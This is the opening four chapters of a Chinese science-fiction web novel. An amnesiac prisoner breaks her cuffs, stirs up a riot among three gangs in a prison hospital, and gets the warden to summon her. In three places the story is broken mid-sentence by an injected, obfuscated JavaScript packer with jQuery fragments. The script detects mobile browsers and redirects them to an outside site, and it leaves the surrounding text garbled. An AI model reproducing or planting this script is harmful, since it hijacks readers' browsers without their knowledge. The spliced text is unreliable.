《她从死囚荣登至高[星际]》
1. 第 1 章
重生的标配是什么?
——痛醒。
不幸的是,叶眠拿到了高配。
——痛觉超敏体质+强抗药性+手术台上痛醒。
体验了一把物理上的头痛欲裂,叶眠说不出话,心里却毫无保留,她对这个世界的第一印象,是一句优美的[*星际粗口*]。
“麻醉过了,给她补一针。”
“已经打了七针了,没事吗?”
“她要痛死了。”
朦胧的声音钻进耳里,叶眠强撑着把眼睛睁开一条缝。
蓝色的房间,白光刺眼。
“别怕,手术很快结束。”
说话的人身形模糊,脸更是看不清楚,
他转头,语气沉稳:“上强效。”
强效麻醉的剂量,令人安心。
叶眠昏迷前的最后一个想法是:所以为什么不让我手术结束再醒啊!
*
再睁眼的时候,叶眠趴在床上,头侧向一边,颈椎硬得像钢筋。
她转动干涩的眼珠,只见隔壁床位的“病友”已经盖了白布。
是个死人。
一动,后脑炸开剧痛,她动作一滞,[*星际粗口*]立刻涌到嘴边。
就在此时,开门声响起。
叶眠心跳加快,强行把优美吟唱咽下肚子,闭眼装晕。
“没意思,”第一个声音像个大喇叭,“老狱长一走,最近C监都没死人,噢,除了这个倒霉蛋。”
来人站到了隔壁床旁。这个“倒霉蛋”听起来不像我,叶眠想。
“没死人还不好?死亡率高了,小心被送进审判庭。”另一个说。
“反正天塌了有帽子高的顶着,”第一个人语气带笑,“是吧头儿?”
“管好你的嘴。”头儿听起来年纪更大一些。
两人安静下去,一阵窸窸窣窣的声音响起。
他们在搬尸体。
“你觉不觉得,这倒霉鬼,有点眼熟?”还是大喇叭,他又开口了,说的是那具尸体。
“黑网杀手前百,刚进来两天。”
“噢,是他,”第一个声音恍然,然后又带了点疑惑,“就这么死了?”
“是有水分,叶绵绵邪门。”
“二代禁制环强度有限,现在换三代了,”头儿淡淡地说,听起来像是转了个身,“带电击、麻醉、窒息警告、神经毒素。她也就能嚣张这么一次。”
汗毛微微竖起,叶眠几乎能感受到“头儿”的眼神刮过自己的眼皮。
她敬业地扮演着麻醉未醒的状态,手指却微微捏紧。
“啧,暂时不动她是吧?”
“上面没提,不用管。”头儿说着,移开了视线。
直到房门闭合,叶眠才彻底放松身体,带着一头雾水睁开眼。
C监?叶绵绵?
……我?
摸了摸脖子上的金属环带,几分钟前她还以为这是什么装饰品,结果电击窒息神经毒素,好家伙,是根遥控索命绳。
袖子里有张纸片,毛边蹭得她发痒,叶眠费劲地掏了半天,摸到手肘才掏出来。
纸片:“法蒙已就任,想办法离开C监,我尽量接应。”
叶眠瞪眼:你是?
法蒙又是?
很快,一个圆脸护士出现了。护士服包裹着健壮的身躯,咖色卷发盘在脑后,下颌线轮廓硬挺,强壮到令人生不起反抗之心。
“你活下来是个奇迹,联盟医大的巡医队刚巧路过这里,”她一边检查点滴的速度一边说,“领队的学生切了你半个脑壳,然后用了生长因子,之后你的颅骨会慢慢自愈补全。”
说完,护士就跟趴在床上侧着脸、斜着眼的叶眠对视了。
她脸上明明白白地露出几分慈祥和不解:“你不懂钢筋条跟人骨的硬度差距吗?就争这一口气,要跟人分个胜负?”
256号?隔壁床那个死人?
叶眠眨眼不答,看似装傻,实则真傻。
护士检查了留置针,又给她喂了水:“死者方面向审判庭提起了诉讼,二次判决书两星期后到位,你可以在医院住到判决下来。”
“好的,谢谢。”叶眠第一次开口,腮肉挤占口腔,说一个字就得吃一嘴床单。
呸呸呸。
她一边呸,一边皱着眉头猜二判是什么结果,下一秒护士叹了口气,给她透了个底儿。
“赶紧找找关系吧,还这么年轻,死立执多可惜啊。”
叶眠:?
二判死立执?我吗?
我不是好人牌吗?
她偏了偏头,避开吃床单的角度,小心翼翼地问:“请问,我一判犯了什么事?”
“你不记得了?”护士看着她,像是有些摸不着头脑。
叶眠比她还摸不着头脑:“可能是开颅的后遗症?”
“杀人入狱,八十年有期,”护士轻啧一声,又细细打量她一番,“我记得,审判庭推你一判相当神速,只用半天就把人收押了。能让那些好吃懒做的蛆虫利索一回,你也挺不得了的。”
叶眠:?
确实不得了,前途一片昏暗啊。
“你抗药性强,自己看着吃,”护士放下两瓶口服止痛药,叹了口气,颇为惋惜,“违规破坏禁制环、服刑期内二次杀人,我看你也不像那种到处惹事的人,怎么就想不开呢?”
-
等护士走后,叶眠沉思半晌,还是解释不了,其他人嘴里的“叶绵绵”跟她是同一个人这件事。
她失忆得彻头彻尾,除了名字记得清楚,叶眠连常识都缺三少四。
比如让她莫名在意的禁制环,到底禁了什么东西啊?
想不通就先不想,世上无难事,只要肯放弃。
眼下情况实在不妙,总不能十四天体验卡结束,吃了枪子儿继续睡吧?叶眠琢磨着,还是得想办法离开监狱。
手头有效信息太少,根据纸片,叶绵绵在监狱外可能有队友。
但几个字不痛不痒,法蒙算个线索,立场又不明了。
要不,学习安迪前辈挖地道?
安前辈在肖申克是无期没死线,但她有啊,剩下的日子掰指头就数得清。
那,暴力越狱?
这就得看监狱布防情况了。
叶眠心里一动,反正躺在这儿约等于等死,她决定探索一下周围。
重伤未愈,她吃了些苦头才成功起身,脑袋坠得沉沉的,像是肩膀上压了一颗大肿瘤。
那很坏了。
她想叹气,却发现连叹气都不敢叹太猛。
床边放着电动轮椅,叶眠艰难地把自己挪了上去,顺手拿上一瓶止痛药,倒出几片干咽,等了两分钟,没起效。
叶眠:抗药性还真不是说着玩的。
她估摸着又补了几片,这才立竿见影,脑袋里的隐痛甚至晕眩恶心都褪去不少。
路过洗手台,叶眠看了眼镜子里的仪容。
陌生又熟悉的既视感一闪而过,叶眠掐了掐自己,镜子里的人也做出了同样的动作。
她若有所思:这确实是我的脸。
但如果我是我,叶绵绵又是谁?
为了做手术,叶眠头发被剃没了。镜子里的光头缠了半个脑袋的纱布,脸上稍有病气,却无死气。五官线条偏锐,笑起来又清爽,眼皮一掀,嘴角一提,还透出点意气风发的味道。
中,不丑。
叶眠满意点头,然后“嘶”了一声——头痛。
病房位于三楼,整座建筑呈回字形,叶眠病房的窗户朝回字内侧,她大略地扫了一圈,只能看到一片宁静祥和的小花园。
转着轮椅离开窗前,叶眠推开另一侧的病房门,头顶监视器亮着几点红光,安静的走廊里弥漫着消毒水的味道,没人。
叶眠看着指示标牌,一路畅通地挪到了点滴室。
这里零星坐着几个病号服,墙上大屏正在放新闻,如果不是大家手上都带着镣铐,很难说这是在人民监狱,而非人民医院。
叶眠找了个角落,锁住轮椅,若有若无的视线扫过全场——然后跟一个东张西望的胖子对上了眼。
“咦?叶绵绵?”
胖子灵活地挪了过来,表情有些惊讶。
他头发白到发光,眉毛甚至睫毛都是浅金色的,脖子上带着禁制环,手上带着金属手铐,但手背没有留置针。
白化症?叶眠想。
“你不在床上躺着养伤,乱跑干什么?”胖子注意到她的脖子,又好奇问,“他们给你换了新的禁制环?还挺精致。”
叶眠内心:别急,同志你是?
“三代禁制环,带电击麻醉的好东西,”她现学现卖地说,“喜欢?送你。”
胖子缩了缩脖子:“有杀气。”
“怎么会?等你换成三代的时候,我也会夸你戴着好看的,胖子。”
叶眠说着,伸手碰了碰胖子脖子上的禁制环,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224732|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手感类似皮革,看起来十分坚固。
所以为什么我能挣开?
难道因为我爱吃菠菜?
胖子:“拉米亚纳·法格里布,谢谢。”
叶眠自然而然地把手收了回来:“胖子听起来比较和气生财。”
“噢,那行,”胖子瞬间抛弃立场,然后慢半拍捂住自己脖子,神情逐渐惊恐,“噫?!”
叶眠一脸无辜,两人无言对望半晌,胖子疑心是自己太敏感,默默松开手,把上个话题盖了过去。
他眼睛一转,提起几天前:“我说真的,亏你忍得住,扮猪吃虎这么多天,一朝暴起伤人,哇塞,一击毙命!”
“听说256还是个杀手呢,怎么样,有点手法吧?”叶眠也来了精神,顺嘴吹皮球。
“当真吗?”
胖子表情变得有些一言难尽:“你是说,虽然扯掉禁制环凝出冰锥,但还是被一钢筋捅进脑子,这……算……有手法……吗?”
哦豁?
我,凝出了,一把冰锥。
叶眠看了看自己白皙、柔软、纤细的双手。
“不用看,你现在带着三代,异能肯定是用不出来了,”胖子故作老成地摇头,“就算评级A也不行。”
“那你呢?”叶眠反问,“我至少评级A,你又几级?”
“你忘了?我说过的。”胖子眨了眨眼睛。
“切。”叶眠迅速把头转走。
胖子拽拽她,没反应,又拽了拽,这才认命地开口:“开玩笑的嘛,别不理我。”
叶眠转回来。
“我是C级,只要没在饥饿状态,就能变出古早碳水食品,味道,嗯……比较不确定,”胖子挠头,“无毒无害,没有特殊效果,但有时候还挺好吃的?”
哇塞,超能力。
所以,禁制环是用来锁超能力的。
所以,人人都有超能力的世界,我的能力被锁了?
那还能越狱吗?
脑子里瞬间划过无数个念头,叶眠和蔼地想:头好痛,肯定是止痛药效过了。
“叶绵绵,你好奇怪耶。”胖子说。
“第一次听说有人可以变出食物,还是不好吃的那种。”叶眠回神,倒出一片止痛,顺手扔进嘴里。
“噢,害,那你还是见识少了,”胖子不以为然地说,“我家里有能催熟玉米的,有能手萃营养液的……他简直是移动粮仓,比我厉害多了。”
胖子的表情有些向往。
“还是战斗方面的异能更强一些吧。”叶眠试探地问。
“比起日常型、辅助型,战斗型确实更吃香,尤其是战争时期——虽然现在战争结束了。”
胖子有些不好意思地坦白:“其实我之前还怀疑过,你到底怎么觉醒的?异能这东西跟个性关系太大,你刚进来的那几天跟现在比,简直像人格分裂。”
“细说分裂。”
“呃……”胖子犹豫了一下,“比如,你之前真的很爱哭。”
哭?那很难学了。
叶眠目光虚了一瞬,咬着牙把话题扯回来:“这说明我的伪装很成功。”
“太成功了,天衣无缝的演技,”胖子赞道,“所以,你是为了杀256号进的C监吗?”
叶眠:“你觉得呢?”
“总不能是跟我一样避难来的吧。”胖子眼神里充斥着清澈的大智若愚。
嘿,白给!
叶眠看胖子的眼神越发慈祥,几句话就把他套了个干净。
“法格里布家门不幸,我真是来避难的。”胖子很悲伤。
按照计划,他本应拿个不痛不痒的罪名,然后去A监蹲着,结果不知道哪出了差错,进了C监。好在因为体质特殊,他积极来医院躲灾,目前还没被狱卒折磨过。
胖子:“C监名声一直不好,狱警会把一些囚徒关在一起,用斗兽式手段控制秩序。上一任典狱长更是个恶心的变态。”
“怎么说?”叶眠有些好奇。
在她的印象里,监狱不该是秩序井然的地方吗?怎么还有典狱长带头作恶的?
“他每个月举办囚徒比赛,解开禁制环,让他们上生死台,打到只剩一个活人才算完,”胖子摸了摸胳膊,“听说要被关C监的时候我心都凉了,还好来的时间合适,老狱长已经下台了。”
“那新一任典狱长人怎么样?”叶眠顺着往下问。
“你说,法蒙?”胖子眨眼。
叶眠:霍!
2. 第 2 章
叶眠:“怎么可以见到他?”
胖子的眼神变幻:“找典狱长干什么?最近也得下个月巡检吧,我不确定。”
来不及。
“还有别的方式吗?”叶眠追问,“或者,什么情况?”
“嗯……监狱内发生骚乱的话,作为最高管理者,肯定要出现吧。”胖子感觉有点不妙。
“唉,操作难度不小。”叶眠长叹一声。
刚做完手术,她状态实在说不上好。
胖子松了口气。
“但找找机会,也说不定?”叶眠开朗一笑。
胖子五官扭到一起。
这是要搞事的节奏啊喂!
-
医院食堂比监狱里的伙食好一些,这是胖子说的。
但还是相当难以下咽。
叶眠食不知味地暗示自己,要摄入足够的营养素,不吃就饿死。
——出狱后我一定、一定要吃点人能吃的。
她又挖了一勺黄色羹体送到嘴里。
固体部分尝起来像墙粉结块,但是泡的汤汁又过甜,口感深刻到让人吃一口难忘一辈子。
绿色蔬菜、或者是某种藻类,外表是死亡的深褐色,吃到嘴里有股雨后泥土的味道,干涩的口感如慢速电钻来回磋磨舌头,苦味绕梁三日不绝于嘴。
——赶紧离开监狱的理由又增加了,叶眠想。
-
下午,叶眠再次扩大了她的活动范围,等她把医院逛完一圈,两瓶止痛都快吃完了。
所有向外侧的窗户都是锁着的,唯一的正门出入需要通行条。
一楼是食堂和药房,二楼是各种诊室,三楼是叶眠住的病房区。
挂维生机的重伤病患住在四楼东侧,以值班室为界,西侧是手术室。叶眠路过器材室,里面没有人,门也只是虚掩着。
她四顾无人,果断推门进去,过了会儿,又若无其事地转着轮椅出来,病号服里鼓鼓囊囊,塞了东西。
叶眠尝试了在器械室内看到的所有尖锐物品,没有任何一件能让她脖子上的禁制环破损哪怕一点。
她还看到了一把手持激光刀,一念之下,叶眠把激光刀连带着充能器都顺回了自己病房。
人生的乐趣在于尝试。
第一次使用激光刀不够熟练,叶眠对着镜子仰着脸,按下开关的时候,一不小心戳到了下巴。
嗷!
高温激光几乎立刻就烫焦了伤口,有股微妙的糊香蔓延开来。
叶眠咽下最后一片止痛,老老实实地找了外科医生。
-
老大夫处理烧焦的伤口时,手段十分凶狠。
止痛打了两管,止血药的药效也很差,叶眠从下巴到脖子都血刺呼啦的,活像凶杀现场。
“医生,这样会留疤吗?”
其实叶眠真正想问的是:切割伤这样处理,真的没问题吗?
“运气好就不会。”医生头发花白,带着单边眼镜——可能是老花镜——身上有种老艺术家的从容。
他给叶眠的下巴缝了四针。
缝到第二针,叶眠的痛觉神经就苏醒了,看她呲牙咧嘴疼得不行,医生没办法,又打了一管止痛药。
“有这么痛?”他嘀咕。
叶眠假装没听到。
问她伤口怎么搞的,叶眠一脸老实:“摔的,医生。我头晕,就摔到地上了。”
“严重吗?给你开点药。”老医生很严肃。
“很严重,甚至影响睡觉。”叶眠本着“来都来了薅点再走”的心思,完全是想到哪说到哪。
“那给你开点安眠。”
“医生,我抗药性比较强。”她得寸进尺。
“所以你用了我三管止痛,三管。好了,开点安定不要紧,出院的时候一起结账。”
医生摘了一次性手套扔掉,挥挥手让叶眠拿着单子赶紧走。
结账?
叶眠拿着单子一步一回头:那能退吗还?
-
等到傍晚,护士见到她包着纱布的下巴,脸上露出了明晃晃的谴责。
“又干了什么好事?再深一点就伤到骨头了,还好偏了一点,”她扳着叶眠的脸看,表情严肃,动作倒是温和,“外科那位也是个老顽固,他不用科技手段,你这个下巴缝了针,以后还是要留疤的。”
叶眠暗想,留疤倒是小事。头被拨来拨去,她老实万分:“抱歉,我就是好奇,医院里看守这么松弛,感觉摘了禁制环就能跑。”
“医院内部无所谓,犯人们都带着禁制环,”护士轻描淡写地勾了勾手,窗帘仿佛被无形的力量扯平,乖顺地垂下,“医院外面的防线你看不见,我只能说,很强的喔。”
叶眠还是第一次看到别人施展异能,目光被勾跑,看得护士莞尔一笑。
“如果你想跑,至少要搞到禁制环的密钥,傻孩子,”护士怜爱地摸了摸叶眠头顶,小心地避开了她的后脑,“禁制环和金属镣铐的非法损坏都会引发报警,不要有什么危险的想法噢。”
“原来如此,”叶眠小声答应。
护士拆了她头上纱布查看了一下出血情况,又拿了电视镜:“用药都是按天数配好的,没留给你折腾的份额,可让人省点心吧。”
护士嘴快手也麻利,给她又抹了一层药膏,拿纱布重新把头缠起来。
叶眠一动不动,忍着疼,假装自己是个无知无觉的木偶。
她问:“姐,给我做手术的医生什么时候走的?”
怎么都是救命之恩,当涌泉相报。
护士随口答道:“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224733|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
醒之前他就走了,巡医队赶着去下个地方呢。不过他走之前把该注意的都告诉我了,你找责任医生的话,找我就行。”
“那有机会再向他道谢。姐,能不能给我再拿点止痛药?”
等护士拿起瓶瓶罐罐放回小车上,叶眠仰着脸,语气近乎撒娇。
“乖,明早。”护士捏了捏她的脸。
*
第二天早上医院里闹了些动静,叶眠趴在床上听,心中已经有了计划。
护士百忙之中过来给她拿了四瓶口服止痛,叶眠满是感激地把人送走。
上午,她在输液室见到胖子。
胖子还坐在昨天的位置上,见到她后的第一句是问:“你下巴怎么了?”
叶眠摸了摸纱布,感受到一丝痛意:“摔的。你晚上不住医院吧?”
胖子表情古怪:“医院夜里闹鬼的故事你小时候没听过吗?”
家喻户晓的黑|暗|童|话欸,怎么连这个都不知道!
“早上一般也不会过来,对吧。”叶眠只抓重点。
“谁起早八来医院打卡啊,我又不是医生,医院也不给我考勤发薪水。”胖子不满。
“很好,所以你明天下午或者晚上再来,”叶眠一锤定音,想了想又补了一句,“如果顺利的话。”
“别做傻事啊绵绵。”胖子面色肃然。
“不会,”叶眠说,“还有,往后不要叫我绵绵,我是叶眠。”
“你也不叫我拉米亚纳法格里布,”胖子嘀咕道,“叶绵。”
“眠。不要当文盲。”叶眠拍拍他肩膀,两个字在通用语发音上有区别。
-
晚上十一点熄灯后,医院仿佛也陷入沉睡了。
虽然C监在监狱里可能算大的——毕竟穷乡僻壤地皮便宜——但C监医院并不大。
今天早上接待了一批持械闹事的犯人,导致现在病房塞满了缺胳膊断腿的囚徒。
白日里他们的咒骂声、申吟声不绝于耳,叶眠能听清至少有三拨人——“法蒙的走狗”、“老狱长的鹰犬”、“自由帮的喽啰”。
叶眠还听到几次护士的大叫,诸如“不要动你的腿”“你的手指已经接上两次,不要再弄断”“假肢不是武器”之类,听起来很是崩溃。
时间走到后半夜,走廊里已经静得落针可闻,只偶尔冒出一声悠长的痛吟。
急诊亮着灯,值班的年轻医生姓李,叶眠的窗户正对急诊值班室,他在聚精会神地看电影。
车库里,关押车司机躺在车厢里的担架上打鼾。
保卫员抱着枪在警卫室脑袋一点一点地打瞌睡。
叶眠咽下止痛,把开了封的止痛药瓶子单独放进一个衣服口袋里。
她摸黑出动了。
这次没用轮椅。
3. 第 3 章
她的目标很明确——切断电力供应,让整个三楼病房区陷入黑暗。
踩着微弱的月光,叶眠下到二楼半。
储物隔间的小门不上锁,门后就是开关控制阀。
手中小刀轻轻一撬,嵌满开关的金属板发出“咔哒”一声。叶眠动作顿了顿,确认环境依旧死寂后,才继续操作。
手指灵巧地拨开各色线路,激光刀在她手中闪过刹那光芒,映衬出叶眠眼中微弱而稳定的神采。
“咔嚓——”
应急小灯的光芒骤然熄灭,整个楼梯间连着走廊都彻底陷入漆黑。
叶眠没有停下,她一根根筛过,把备用线路也迅速划断,确保电力无法在短时间内恢复。
最后一根双绞线……网络总线?
她眼神微深:意外之喜。
心脏在胸腔中跳动,仿佛黑暗中唯一的鼓点。
叶眠做完一切,悄无声息地回到了自己病房——旁边的11号病房。
开门时,她故意让门轴发出一声轻微的“吱呀”声。
“谁在那里!”靠门床位的男人猛地坐了起来,声音里带着警惕。
“一切为了自由。”叶眠压低声音说。
自由帮的中二口号,她今天听到了好多次。
白天她摸清了这一层病房的势力分布:她所在的10号病房,右边11号两人是自由帮成员,左边9号则是新狱长法蒙的“追随者”。
“我给你们解开手铐。”叶眠走近,一把按住他床边的手,亮出了激光刀。
“不!”
会触发报警!
慢了。
刀锋在黑暗中划出一道光弧,精准地融断了手铐关节。
裂开的镣铐无声落到叶眠手中,断面还带着金属熔融的微光。
——一片安宁。
自由帮成员瞪着眼,预想中的警报并未响起。
叶眠的猜想被印证了:局域网总线架构覆盖医院,刚刚被她切断,所以手铐内置的联网警报没被触发。
既然绕过手铐警报如此轻松,她心中越狱的念头再次复苏。
“为什么没报警?”自由帮成员有些疑惑,“激光刀?哪里拿的好东西?”
叶眠没有接话,用同样的方式解开了第二个人的手铐。
他们二人摸着自由的手腕,叶眠低声开口:“我去其他病房给他们解开手铐,然后再行动。”
她故意说的模棱两可,想试探一下对方的反应。
“行动?什么行动?”
靠窗的成员皱了皱眉:“医院内警卫松散,但医院外,三面二十米高的高压电网,我们带着禁制环不可能越过。唯一通道连向C监9区,过了检查站,重犯区更是守卫森严。”
靠门的那人接上,语气颓唐:“昨天的争斗已经结束了,我们谁也没讨到好。”
叶眠眼神闪烁,露出一丝若有若无的笑意。
她的声音压得更低:“别急。现在他们手无寸铁、毫无防备,只要我们把握机会,自由帮就能成为唯一的胜利者,你们都会是帮派的功臣。”
叶眠放下手术刀,房间里依然是一片沉默。他们显然被这个提议震惊了,但叶眠没有给他们思考的时间。
“一次不成,便再来一次。难道我们只能平静地接受失败,忍受那两伙跳梁小丑践踏我们的信仰吗?”
“重伤的兄弟靠维生机苟活,你们没想过用一场堂堂正正的胜利为他送行吗?”
“一切为了自由,难道,只是口号而已吗?”
激情演说结束,叶眠抖掉自己胳膊上的鸡皮疙瘩:“抱歉,恕我无法束手旁观。”
见她作势要离开,靠门床位的自由帮成员坐起身,咬了咬牙,低声说道:“3、6、8、9号病房,都是我们的人。”
不就是搏一搏,单车变摩托?
自由帮从没怕过!
“摔杯为号。”
叶眠点头,转身,眼角微弯。
合上门,她靠在走廊冰凉的墙壁上,打开口袋里的止痛又咽了一片。
接下来的一个小时里,叶眠像一只无声的影子,穿梭在病房之间。
她用激光刀解开了所有人的手铐,鼓动自由帮再次冲锋的同时,也在法蒙派的病房里散布了“自由帮即将发动袭击”的消息。
在10号病房,叶眠扮演了一个无辜的伤患,声称自己无意中听到了隔壁自由帮的密谋,前来寻求保护。
她的语气真诚而惶恐,成功赢得了法蒙派成员的信任。
“确实是自由帮那群疯子的作风,我们会保护你的,”法蒙派的成员低声说道,“你去帮我们的人解开手铐,然后,我们一起反击。”
叶眠点了点头,将几把手术刀留给了他们,离开的脚步轻巧而果断。
这些派系的成员各有特色,仿佛监狱里联系紧密的小社团。
自由帮重刑犯偏多。
他们的初级目标是C监内的话语权,而终极目标半遮半掩,其实也不难猜——越狱。
正如他们的口号:一切为了自由。
法蒙派则多是轻量级、低威胁的罪犯们。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224734|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
在监狱长换任的这个时间节点,他们寄希望于法蒙是个好人,会给C监这片污浊的地方带来新的空气——比如引入缓释和减刑,比如整肃狱风、更换狱卒。
叶眠认为,他们将希望寄托于法蒙,其实也隐含着对新任典狱长权威的试探,总之这是一种很微妙的集群。
排除掉自由帮和法蒙派的病房,剩下的便是老狱长的鹰犬。
不论最初是因什么罪名被关进C监,他们从生死台上活下来这件事,就足够他们立威服众,因为不甘心搏命拿下的特权被一笔勾销,所以他们组成了老狱长派。
胖子给出的信息有限,他也没真上过生死台,所以描述可能夸大其词。
考虑到这些人手沾不止一条人命,叶眠权衡过,是否要引导他们加入今夜的战场?
但要制造足够的混乱,她还是决定去打开老虎笼子。
2号病房是老狱长派的据点之一。
叶眠推开门时,能感觉到空气的凝滞。他们是真正的亡命徒。
“我是来给你们解手铐的。”她声音冷静,掩上门,手中的激光刀在黑暗中亮出形状。
房间里的人没有回应,但他们的目光锁定在她身上,注意着她的任何举动。
叶眠没有退缩,继续游说:“自由帮和法蒙派会在今晚发动二次袭击。你们可以选择隔岸观火,或者,取渔翁之利。”
她在试探对方的底线。
鹬蚌相争,他们岂会束手旁观?这次立威的机会,可能是老狱长最后的余晖。
房间里依旧沉默,但对手的呼吸声悄然加快。
叶眠走近,在两人无声的注视下完成了切断手铐的操作,然后将手术刀放在桌上,就准备转身离开。
沙哑的声音传来:“时间?”
“很快。”叶眠沉静回答。
她没有回头。
当走进自己的病房时,叶眠口袋里的止痛已经被吃完了,后背被冷汗浸透,因为紧张,也因为痛。
她不得不承认,自己有些享受这种游走刀锋的感觉。心跳降不下来,血液在畅快奔流,紧绷的情绪勾紧心弦,隐约铮铮作响。
不过,止痛药效过了之后,那根被取出的钢筋仿佛又被插回大脑,搅得她又疼又晕,眼前发黑。
希望这把野火,能顺利烧到法蒙的办公桌前。
叶眠拿起自己用了两天的玻璃杯,轻轻地摔到了地上。
“啪——”
清脆的碎裂声在寂静的走廊中回荡,像发起冲击的号角,点爆了暗潮汹涌的夜色。
4. 第 4 章
不知道是谁第一个打开了门,又是谁第一个迈出了房间。
杯子碎裂的声响宣告了今夜医院动荡的开端,最初的几秒还没什么动静,但缓冲很短,仅仅是回神的功夫,一切都乱套了。
黑夜激发了人的斗志和勇气。
跑动的脚步、指挥与叫骂的话语声,摆件碎裂的脆响,闷闷的碰撞、受伤痛呼的嚎叫……兵荒马乱,场面如同一锅被炖到沸腾的滚粥。
冲突逐渐扩大,好像整个世界都变得失序和嘈杂起来,心有疑惑的人来不及细想,这场发自人类好斗本性、群体行为冲昏个体头脑的群殴,像龙卷风一样把所有人都裹了进去。
叶眠抵着门听,感慨真是一场混战。
有人喊着开灯,有人误伤友军,有人后知后觉地加入战斗。
有人的刀子捅进了别人的身体,有人的拳头落到了别人脸上,有人拿着手铐乱甩,试图浑水摸鱼——他们的武器被没收走了,趁手的道具实在太少。
战场主要位于走廊中部,叶眠拉开门,她的病房靠近走廊尽头的楼梯。
她一手扶着头试图固定——走路的时候脑袋晃得厉害,她实在痛得没法——一边小心地摸着墙走。
没有灯也没有窗的走廊,肉眼视力实在有限,好在她还是顺利地溜了出来。
三楼的混乱很快就被楼下的保卫员发现了,他拿起枪,叫醒关押车的司机,又通知监狱的警卫队前来援助,强行拽起战战兢兢的李医生上楼。
在楼梯间,他们正面遇到了叶眠。
“我没有恶意。”
面对着保卫员黑洞洞的枪口,叶眠感觉自己的视线模糊了一瞬。今夜的行动对于她重伤未愈的脑袋来说压力太大,止痛药的效果越来越差,她干脆没有再吃。
“只是跟我一个楼层的病人们突然闹了起来,我想下去找你们求助,”叶眠粗粗喘了口气,因为痛和眩晕,她的声音都在发颤,连害怕都不用装了,“我们楼层的电闸好像跳了,灯打不开,上面太乱了,二十号人的混战,太可怕了,真的太可怕了。”
保卫员严肃地说:“谢谢你的信息,女士,目前三楼的情况我已经有所了解,监控也被破坏了……”
因为叶眠把整个三楼的电都断了。
“我不建议你现在上去,”叶眠打断他,递出台阶,“人真的太多了,只有你自己肯定是不够的,或许我们可以等到援助的队伍到,而且现在我需要医生,我的头非常痛。”
她听到自己的心声:再等一等,等混乱再发酵一些。
“是的,是的,她需要我,我先不上楼了,保卫员先生……如果可以的话。”李医生咽了咽口水,惶恐不安地说。
“好吧,那我们先去急诊。我会保护你们的安全。”保卫员妥协说。
大概十分钟后,四台车驶入了医院的院子,跳下来真枪实弹的十多个警卫。叶眠从急诊室的窗户看得清楚,一切都与她无关。
她今日运动量超标,后脑渗血肿胀、刀口边缘有些感染,医生给她换了纱布,叮嘱她不要再乱动,叶眠满嘴答应。
“我不了解你用的这种技术,注射生长因子、移植细胞什么的,所以其他的我做不了,也不会做。明天找一下为你负责的医生,让他看看,有没有什么别的需要注意的。”李医生一边说,一边把纱布的尾巴妥帖地掖了进去。
叶眠坐着歇了会,感觉好些了。
“保卫员先生,医院闹出这种乱子会有什么后果?”叶眠问房间里的另一个人。
保卫员站在窗边回答她:“可能会加强医院这边的值班人手,强化病房的管理。之前只认为医院逃不出去人就够,有禁制环在,谅他们没有工具也闹不出来什么事,结果竟然闹得这么严重……”
有枪声响起。叶眠眼都没眨。
“监狱长会来亲自处理吗?”她问。
“也许会,”保卫员说,一边拿起枪,准备前往三楼,“但说不准。我也不太清楚那位新任典狱长的性情。”
叶眠估摸着三楼的打斗持续到现在应该也告一段落,她没再多话,目送保卫员出门。
警卫把重伤的犯人送到手术室,被临时叫来的医生已经在准备手术。
外科的老医生一边带手套一边咕哝,说睡到一半被打断,这些犯人真是烦人透了。旁边的年轻医生也打着哈欠,赞同地应了一声。
今夜最锋利的武器是不到二十厘米长的短手术刀,狱警根本没开几枪。参与混战的人里有四五个重伤,受伤最轻的身上甚至只有擦伤,被抓起来的时候他们还有些意犹未尽、骂骂咧咧。
虽然不知道哪个环节出了问题,但警卫也懒得管他们到底是因为什么打架,只当是昨天没打够,等天亮走完程序,该延长服刑期的一个都跑不掉。
医疗费的单子送到手里,有些人才沉默下来,打架的时候理性被激情控制了,如今冷静下来还要面对现实。
叶眠作为“受害者”被暂时移到了四楼的病房,她到现在也没看过自己的诊疗单,但想必也不会好看到哪去。
夜里“共患难”的保卫员叫王五。
天快亮的时候叶眠短暂地睡了一小会,等醒来的时候,王五出现在病房里,直截了当地告诉她:“典狱长说要见你。”
叶眠愣了愣,看了眼窗外已经大亮的天色:“现在吗?”
“是的,现在。”王五说。
典狱长本人的办公室在监狱区,叶眠目前的状态还不方便离开医院。所以叶眠是在外科医生办公室里见到的他。
敲门进去的时候,入眼是一个高大的背影。
